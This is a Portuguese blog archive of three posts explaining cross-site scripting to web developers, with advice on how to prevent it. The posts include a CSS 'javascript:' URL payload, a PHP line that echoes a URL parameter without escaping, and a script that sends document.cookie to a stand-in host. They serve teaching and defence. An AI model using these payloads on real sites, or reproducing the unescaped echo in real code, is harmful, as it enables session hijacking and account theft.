Tag Archives: XSS

Programação

PpW – XSS nos CSSs

Published by:

Já vos falei neste site de XSS por duas vezes, mas ainda existe uma terceira opção, em que eu próprio não tinha pensado. Não é muito mau, uma vez que apenas funciona em sites que permitam alterar os CSSs ou introduzir tags <STYLE> nos campos, e é exploitable apenas em Internet Explorer…

Bem. Não deixei este post para depois porque me lembrei imediatamente de um grande site onde isto poderia ser utilizado de forma grandiosa. Não, não vou dizer qual é o site, mas trata-se de um site de social networking. De um dos maiores.

Mas voltemos um pouco atrás, aos detalhes.

O referido exploit utiliza a funcionalidade url(“url”) que pode ser utilizado em várias propriedades dos CSSs, nomeadamente background, background-image, list-style-image, entre outros. Um pequeno teste para verificar a possibilidade de efectuar o exploit seria simplesmente:


<style>
li {
list-style-image: url("javascript:alert('XSS')");
}
</style>
<ul><li>Teste</li></ul>

Assim existe agora mais um forma de injectar javascript, sem conseguir adicionar tags de <script>.

Do ponto de vista da criação de sites aparece assim mais uma preocupação, que passa por verificar com cuidado em que consições se permite aos utilizadores alterar as CSSs dos sites, sendo isto especialmente relevante em sites de comunidades, em que cada utilizador pode costumizar o seu próprio perfil.

Aparentemente o exploit apresentado apenas funciona em Internet Explorer, mas é bastante recente, poderá funcionar noutros browsers.


Programação

PpW – XSS por parâmetro

Published by:

Já aqui falei nos perigos do XSS e dos parâmetros não verificados, mas não contemplei uma possibilidade que não pode ser desprezada. A de utilizar directamente os parâmetros.

Existem sites que utilizam parâmetros que são passados nos URLs para preencher partes do site, como sejam titulos ou navegações.

Um exemplo (em PHP, mas poderia ser qualquer outra):

<h1><?php echo $_GET['titulo']; ?>

Este código pode não parecer perigoso, mas na realidade abre uma falha grave, especialmente se neste mesmo site forem utilizados cookies ou outra forma de autenticação.

Trata-se de uma situação menos perigosa do que quando os conteúdos inseridos são depois mostrados no site para todos os utilizadores.

Neste caso é necessário abrir um url que tenha o código perigoso incluído. Isso, no entanto, é mais simples de se conseguir do que possa pensar, dependendo da quantidade de utilizadores que têm acesso à parte reservada, o envio por email ou a divulgação em forúns podem conseguir isso, e depois aplicam-se todas as considerações que se fazem em relação ao XSS.

Como prevenir

Tal como se descreveu no post já referido sobre XSS, nunca utilizar directamente nenhum parâmetro que seja passado pelos utilizadores sem, pelo menos, transformar os caracteres < em &lt; e > em &gt;.

Claro que o seu site é feito para os seus utilizadores, mas o facto de 999 em cada mil serem de confiança e não pretenderem utilizar indevidamente o seu site, isso não significa que deva facilitar o trabalho ao milésimo, da mesma forma que não deixaria a porta de sua casa aberta apenas porque conhece todos os seus vizinhos.


Programação

PpW – Cross Site Script

Published by:

Cross Site Scripting, normalmente abreviado como XSS (para não confundir com CSS (Cascaded Style Sheet), consiste em colocar javascript num site que normalmente não se teria control, por forma a conseguir informações ou acessos que normalmente não teriamos.

O problema

A maioria dos ataques XSS ocorre em site onde os utilizadores podem interagir com o site, como por exemplo, colocando comentários em blogs ou respondendo em foruns. Outra situação mais ou menos comum é em sistemas de email ou webmail, em que pode bastar o utilizador ver a titulo do email para sofrer o ataque.

A maioria destes ataques pretende obter informação restricta do utilizador, ou, na maioria dos casos, acesso à conta do utilizador.

Estes ataques consistem em pequenos bocados de Javascript, normalmente apenas uma chamada a um url, em que se envia os cookies do utilizador que está a aceder ao site.

Um exemplo simples seria:


<script>
window.location='http://www.someuri.com/coookies/?' + document.cookie
</script>

Não que este fosse um caso que passasse despercebido, uma vez que o utilizador seria redirecionado para o URL indicado, mas seria eficaz, pois todos os cookies do utilizador disponiveis para o site visitado seriam conhecidos do dono do site www.someuri.com.

Soluções

Mas, que pode ser feito para evitar este tipo de situações?

Devemos não apenas atacar este problema directamente, como também evitar uma segunda possibilidade. A forma de evitar este problema directamente é evitar que seja introduzido código HTML nos locais onde utilizadores não verificados (utilizadores externo à própria organização do site) possam introduzir dados.

Quando isso não seja pretendido ou possivel (como nos casos do email), devem retirar-se todas as tags <script>...</script> que existam.

Se for uma parte de um site pode utilizar-se uma outra forma de os utilizadores formatarem os textos, como seja utilizando WikiText, BB Code ou outra sistema do género, e dessa permite-se que os utilizadores formatem os textos, sem permitir que insiram código HTML.

Claro que isto só funciona se os caracteres < forem depois convertidos para &lt; e os >para &gt;.

Mas mais importante que isso é não utilizar os cookies de forma indevida, e limitar a sua validade tanto quanto possivel.

Idealmente, na minha opinião, os cookies devem conter apenas um ID de sessão, associado ao qual se guarda tantos dados quantos possiveis do utilizador, pelo menos o IP e a assinatura do browser do utilizador.

Apenas estes dados já tornam dificil reutilizar o mesmo ID de sessão.

Cookies com IDs de utilizador ou com dados pessoais são o paraíso para os hackers, que pretendam aceder a um site.

Conclusão

Não permitir a utilizar da tag script em locais que não sejam estritamente design, e utilizar cookies com ids que mudam de cada vez que o utilizador faz login são duas tarefas fundamentais para evitar tornarmo-nos alvos dos adeptos do Cross Site Scripting.